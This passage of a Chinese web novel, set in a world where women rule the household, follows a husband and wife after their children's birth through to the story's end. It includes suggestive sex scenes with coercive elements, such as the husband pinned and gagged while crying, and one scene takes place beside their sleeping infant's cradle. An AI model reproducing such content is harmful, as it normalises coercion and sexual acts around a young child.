怀中的孩子的注意力显然被吸引走,他抬眸看着走过来的母亲,不喝了,嘴里还溢散出一点奶汁出来。 云竖盯着那处殷红的地方,将他怀中的孩子抱起来放在摇篮里。 本来乳夫找来就是为了防止没有多 余的,不足以喂养孩子的缘故,加上夜里要起来不方便,便找了乳夫过来。 李持安匆匆合上衣襟,确认好自己整齐后,这才愿意被她牵着离开。 他抬起袖子遮住面容,眼睛里水光潋滟,悄悄地瞅着四处。 回到了室内。 云竖把他抱在怀里。 他轻轻地说着,“不舒服。” 不是难受不难受的缘故。 这未免太过于羞耻,甚至放荡。 “听话一点。”云竖声音有些哑。 李持安瞬间激灵了一下,攥紧妻主肩膀上的衣裳。 他有些羞于启齿。 “现在还是白日。”他小声道,甚至还带着点颤音。 他想要把自己埋到她怀里,却被按住后背。 就像他刚刚托着自己的孩子一般。 云竖像是好奇一般,轻轻嗅着他。 如此,他骤然羞耻地哭了出来。 他的双手放在她的肩膀上,呜咽地哭着,又怕外面的侍从听到。 他身子很是纤细,被按着的腰身颤抖着,衣裳散乱开,漂亮清透的眼睛里戚戚地哭着,模样很是可怜。 想要躲,却没法躲。 那处怪怪的,不同于孩子的理所当然。 接着,他被按在床榻上,露出大片肌肤,整个人浑身无力,不知道是因为没有吃早餐还是因为紧张过度没有了力气。 床榻上的帷幔被放下来一半,传来细细地哭声,偶尔突然尖了起来。 外面守着的淞朱见公子迟迟不出来,只是让旁边的侍从离开,又让人时时备好早餐和热水。 女君应该不会太过折腾公子,公子还未进食。 临近午时,李持安从床榻上被抱起来。 他坐在软榻上,紧紧裹着身上的外袍,想要遮掩不久前的行为,眼眸内有些呆呆的,甚至聚不到一起,面容潮热带着薄粉。 “妻主呢?” 淞朱让人把孩子抱进了屋里,放在了屋内的摇篮里。 坐在榻上的李持安转而盯着摇篮里的孩子,手指不自觉握紧自己的衣裳。 太荒唐了。 他想着。 随着午饭被端上来,云竖把人抱出去,让他坐在自己的怀里。 他轻轻呜咽着,想要她帮自己揉揉腰,可又不好说出来。 云竖垂眸看着怀中恹恹的夫郎,只是先喂他一些清淡的食物。 “下午我便要进宫了,可能晚一些回来,但不会是天黑了才回来。” 吃完后,她缓缓道。 她把他抱到半窗旁边,俯身用毯子盖住他的下半身。 她的脖颈处隐隐约约露着咬痕,很快又被衣裳遮掩下去。 李持安红着脸,轻轻扯住她的衣袖,红润饱满的唇轻轻抿着,“我们我们再怀一个好不好?再生个女郎。” 他不想被别人说自己的肚皮没用,生不出女郎来。 若下一胎还是个男孩,李持安只能认命。 “如今刚生完,不要想这些。” 她握紧他的手腕,语气轻缓,“即便要生,也不是现在,也不是今年。听话一点,不要想这些。孩子如今才两个月,你现在该把注意力放在他们身上。” 李持安听不进去,完全听不进去。妻主是女人,自然不急。 她如今年轻,当然不急着传宗接代,不急着要女郎。 可等她急起来,万一他不年轻了呢? 云竖盯着他这副模样,低垂着头,显然没有听进去,眼珠子在那转着,不知道在那想什么。 “听话一点。”她重复道。 李持安不自觉抖擞了一下,抬眸讨好地盯着她,白皙的面容上透着乖巧,“我知道的。” …… 接连一个月,云竖发现他越发缠人起来,时常黏在她身边,念叨着什么女郎。 只是早中晚的时间去喂养孩子,其余时间便黏在她身边。 一会儿说身子不舒服,一会儿说哪里酸软,甚至不在意什么规矩起来,不在意是白日还是晚上。 书房里。 男人没骨头似的贴在她身上,恼怒她只盯着文书,而不看他。 “妻主”他声音透着委屈。 “无聊了吗?”云竖托着他的后背,把人抱进怀里。 他身上的衣裳并不保守,轻轻一扯就能散开。 他向来保守,如今这般,云竖自然知道他想做什么。 她低头亲了亲他的脖颈,掌腹轻轻揉着他的腰身。 不过是几个月的时间,他很快瘦了下来,身体唯一存在怀孕过的症状不过是那乳液还没有断。 他轻轻催促着,又忍不住去看向那屏风。 想着外面应该没有人,都被淞朱叫走了。 云竖在他耳边轻轻说道,“持安,乖一点不行吗?” 她不可能让他在这两年怀上孩子。 什么听话不听话,李持安自己解开了衣带,“妻主还想让我如何?” 他被抱起来放在案桌上,耳坠在脖颈处轻轻晃着,衣裳敞开露出皮肤,茫然地盯着妻主。 不知道为什么把他放在这。 紧接着,云竖合上他的衣裳,把他牵出屋内。 “外面的人呢?” 李持安不回答,发丝有些凌乱,只有袖子遮住面容,眼眸内有些恼怒。 他被牵着回了后院,屋内的孩子还在睡着,不久前刚刚被他喂过奶。 一进屋,他便被松开手腕。 见屋内渐渐没人,李持安蓦然有些害怕起来,主动走到摇篮旁边,跪坐在那特意放的毛毯上。 孩子还睡得很沉,抱着玩偶,眉宇都像极了他自己。 “妻主”他微微偏头,被压在摇篮旁边的毛毯上,青丝散乱在上面。 他微微睁大眼睛,双手微微挣扎着,面容被迫贴在地上的毛毯上。 虽然屋内只有他一人走来走去,几日就会换,他还是忍不住颤抖起来,眼睛越发湿润。 “妻主……妻主。”他轻轻叫着,带着乞求之意,挣扎着想要面对着妻主。 随着衣裳被自己压在身下,稍稍撑着身起来就能看到摇篮里熟睡的孩子。 云竖俯身,将那衣裳的一角塞到他的嘴里,嗓音有点温和,“不要吵醒孩子。” 耳坠轻轻晃着,甚至打在他的脸上,黏连在眼泪上。 耳坠偶尔甚至跟青丝缠在一块,那绯色的红珠子慢慢被眼泪打湿,裹上薄薄的一层光泽。 地上的人颤抖着,呜咽的声音止步在嘴里。 随着孩子突然哭起来,他的身子突然抖了抖。 接着,他的怀里被迫抱着孩子,紧紧咬着下唇,只能低头哄着孩子。 那孩子趴在他的身上,想要去饱腹缓解饥饿。 李持安彻底害怕起来。【魔蝎小说 mo xie xs .c om】 【完结】 第81章 第81章嫁衣 三年后。 云竖暂时将两个孩子放在父亲膝下养着,淞朱也留在那看管着。 两个孩子已经会走路,也会说自己的诉求,甚至越发粘人。 长开的眉宇甚至越来越像李持安,甚至娇气,什么都挑剔,脾性也很大。 因为父亲母亲不在,两个孩子整日黏在祖父身边,赖在他的怀里,很快依赖起祖父。 夜里,月光从窗棂漏进来。 两人突然哭闹起来,直喊着要父亲。 云父把两个抱在怀里,擦着他们的眼泪,又让人把他们两个喜欢的点心端上来,轻声哄着他们,轻轻拍着他们的后背,怕他们一时喘不过气来。 云母在旁边看着,抱过其中一个,将他们平日里抱着的玩偶放在他的怀里。 两人很快停歇了下来,抽抽噎噎地,精力很快被消散,埋在云父怀里睡了过去。 云父让她小心地抱起其中一个 ,放在床榻上,让被子裹住他们两个,把玩偶放在身边。 他起身对着身后的云母,小声道,“你去旁处睡着去。” 床榻上的两个孩子互相抱着,睡得很熟。 …… “兔丝附蓬麻,引蔓故不长。双亲养我时,日夜令我藏。自嗟贫家子,久致罗襦裳。罗襦不复施,对君洗红妆。” “色盛人自怜,色衰人见弃。人心不可凭,男色焉足恃。” 茶馆里说书的人说着,时不时敲着醒木。 角落里。 李持安坐在妻主旁边,时不时眨着眼睛,抬眸看向妻主。 “以后我不好看了,妻主不会抛弃我吧。”他小声道,很小很小。 “不会。”她说道,“饿了吗?” 正等着哄人的话,听到这个,李持安咬着下唇,轻轻哼了一下。 “不知道阿素和阿苋在府上待着有没有哭。” 云竖握住他的手腕,轻轻摩挲着,“哭肯定会哭。” 一个比一个粘人,不抱着就要哭,不如意也要哭。 “哪天不哭” 离了茶馆。 李持安瞧着四处,跟在妻主旁边,入了府。 曲廊壁上嵌有各式漏窗,过石桥和进门,折东曲径而入。 他进了后院,看着接下来要待上半个月的宅院。 “主君可要去看看后院里的温泉池” “还有这个”他起了兴趣。 他轻轻扯着妻主的袖子,“我们去看看,现在时间还早。” 云竖来了这里进行视察,府邸也是当地县官提供,今日是第三日。 她只好应下来,陪着他去看温泉池。 后院里温泉池中。 衣裳被折叠好放在一旁,温泉的旁边始终湿润。 他换了一身衣裳,坐在温泉水下的石台中,薄透的纱衣紧紧黏在他的身上,落了水里又慢慢散开。 水汽弥漫,在水面上方始终停留在淡淡的热气。 水声潺潺。 濡湿的发丝贴在身上,他抬手搅乱表层的平静,漾开层层叠叠的水浪来,又起身坐在边缘。 见妻主过来,将他拥住,脖颈处是沉重凌乱的呼吸。 他缓慢眨了眨眼睛,没有任何阻止地,任由妻主触碰。 明明都三年了,为什么还没有怀上孩子呢? 他躺在她的怀里,漂亮的眼睛依恋地盯着妻主。 温泉池里很是安静。 偶尔还有隐忍引入怜惜的低喘声,和低低求饶的哭泣声。 披散凌乱的头发散落几根碎发黏连在脸上和脖颈处,露出秀雅白皙的后背,细汗顺着蝴蝶骨缓慢流下。 不知道过了多久,像是被糟蹋欺辱了一样的男人睁开眼睛,湿到黏连在一块地睫毛轻轻颤抖着。 他轻颤着。 就像是熟透了的果子。 轻轻一碰,果子便会戳出汁水。 接着,他被抱起来,擦干水,裹上衣裳,被女人抱进了里屋。 床榻上,他陷在被褥里面,想着到底什么时候会怀孕呢? 他迷迷糊糊地睡过去,妻主什么时候走的也不知道。 窗户被关着,屋内烧足了碳火,让人昏昏欲睡,很难再挣扎着醒过来。 睡过去的前一秒,他还想着那两个孩子如今在干嘛。 想来也是坐在长廊处到处跑着,或者摔一跤又开始哭闹。 屋内的光正正好,带着纱窗的昏黄,纱幔过滤掉那刺眼的光,屋内的摆设很是简单。 珠帘轻轻碰撞着,清脆又很是平常。 恍惚地,他做了一个很长的梦。 梦里,他嫁了人,又同人和离。 前脚刚出去,后脚就被人抢进了府里,关在了屋子内。 他在那个屋子里生了五个孩子,都是女孩。 好不容易被放出来,又险些落水死亡。 他看不清楚梦里的人,只知道四处都无路可走,无人依靠。 梦里的他几次拿着匕首想要自杀,却又被迫妥协下来。 后面他生了一场大病,就死在了床上。 床榻上,他睡得很熟,明明他很想醒过来。 他呼吸得很是困难,埋在那被褥里,如何也醒不过来,仿佛下一秒就要死亡了一般。 “还在里面睡吗?”外面的女人问道。 “是,正君已经睡一下午了。” 外面的对话似乎很远,好像听不清楚。 床榻上的人听着那声音,粗粗地喘着气,那眼皮沉重得很。 眼泪顺着眼角滑落下来,他不受控制地抽泣着,身子沉重得很。 随着屋门打开,云竖绕开屏风看着床榻上的人。 她走近,微微皱眉。 云竖把人抱了起来,抱进自己的怀里,“持安醒醒。” 她声音不大,偏偏厚实沉稳。 见人终于醒过来,她抬手轻轻扯开他的衣襟,让他透透气。 “怎么了?做噩梦了吗?”她问道,“怎么还哭起来了?” 他身子软得很,浑身无力,被抱住也是软软地,任人摆弄。 李持安埋在她的脖颈处,双手紧紧抱着她的脖颈,一句话也没说。 云竖只当他做了噩梦,哭泣了又羞耻起来。 她轻轻揉着他的腰身,“腿酸吗?” “……嗯。” 云竖将他的腿屈起来,帮他揉着,看着上面的红痕,想着等会儿用膏药涂涂。 “我收到信,你母亲已经回了京都,再过几日,我们也该回去了。”她语气轻缓。 “我带你出去走走,免得等会儿到晚上又没精神。” 云竖帮他穿上衣裳,又裹上裘衣。 他身上没力气,下床时险些跌在地上。 见此,云竖把他抱起来出了屋子里。 “我刚刚做了一个噩梦。”他像是缓了很久,小声道。 “嗯。” “真的很可怕。”他强调道。 “现在不是出来透透气吗?不要去想了,把它忘了,我现在不是陪在你旁边吗?” 李持安轻轻的呼着气,漂亮的眼眸眨了眨,想了想,语气弱弱地,“好吧。” 长廊处,他瞧着不远处的侍从,又想让妻主放开自己,可又觉得,不过再过几日就离开。 看见了就看见了。 …… 半个月后,她们回了京都。 两个孩子紧紧攥着父亲的衣裳,看着港口的人,躲在父亲的身后,怯怯地看着。 对两个孩子而言,港口的人很多,也很高大。 云竖俯身抱起其中一个孩子,“抱过去就不害怕了。” 李持安带着帷帽,牵着躲在他身后的孩子,旁边的淞朱只是摸了摸孩子的头,安抚着他。 人声鼎沸,格外热闹。 马车在不远处候着。 云竖把两个孩子抱上马车去,让他们两个先在里面待着。 李持安被扶着上了马车,便催促着妻主上来,不想在外面久待。 还安静躲在里面的两个孩子探出头来,攥着父亲的发丝,漆黑的眼睛盯着四处。 李持安看着,只好先进去把两个孩子安抚好。 他一进去,两个孩子便扑进他的怀里,埋在他的脖颈处,藏在那帷帽下面。 “想要。” 阿素盯着那耳坠,说话很慢,用鼻子蹭了蹭那耳坠。 另外一个眼见着也说想要。 还未摘下帷帽,李持安只好先摘下耳坠,指腹压扁那尖锐的一方,放在他们两个的手心里。 见妻主上来,他便把两个孩子放在妻主怀里,将帷帽摘了下来。 云竖低垂着眸,看着他们两个手心里攥着的耳坠,轻轻笑了笑。 “年纪小小便喜欢这些了。” 两个孩子在母亲怀里显然乖巧了一些,老老实实地待着,摆弄着那耳坠。 李持安喝了一口茶,这才缓和下来。 他凑近了一些,把脸埋在妻主的手臂里,露出漂亮的眼睛。 “这也没什么效果。”他轻轻说道,“妻主不是说先放在父亲那几日,就会好一点吗?” “的确没有什么效果。” 等到了府上,两个孩子的精力已经没了。 他们被侍从抱着回了屋,把他们小心放在床榻上睡着,又取过他们喜欢的玩偶。 李持安眉眼也透着疲倦,云竖把他揽过来,借着衣裳,帮他揉了揉腰。 “你先回屋待着,晚一些我就过去。”她说道。 “明日再带你去你母亲那,好不好?” “嗯。” 这时天气正好,太阳还大着。 李持安匆匆回了屋内,脱下身上的裘衣,先是洗了洗手。 “睡着了吗?”他问道。 淞朱点了点头,“已经睡过去了,想来一个时辰后就会醒过来。” 李持安坐在铜镜前,把发上的簪子取下来,手背贴了贴脸,又将耳边散乱的碎发别至耳后。 他细细盯着铜镜里的自己,瞧 着自己的脸。 淞朱取过耳坠,小声道,“公子还是年轻的,跟嫁过来时是一样的漂亮。” “说起来,公子要去把嫁衣取过来吗?虽然可能落了灰。” 他记得他将嫁衣折叠好,要让人密封上,多加处理,生怕就此毁了去。 “家主给公子的嫁妆还在库房里密封着。” 李持安听着,眨了眨眼睛,“嫁衣” “家主回来了,那些东西自然也能取出来了,嫁衣也能拿过来。” 屋内只有他们两个人,没人说话,很是安静。 李持安想着,声音很软,“取过来吧,还没穿过。” …… 完【魔蝎小说 mo xie xs .c om】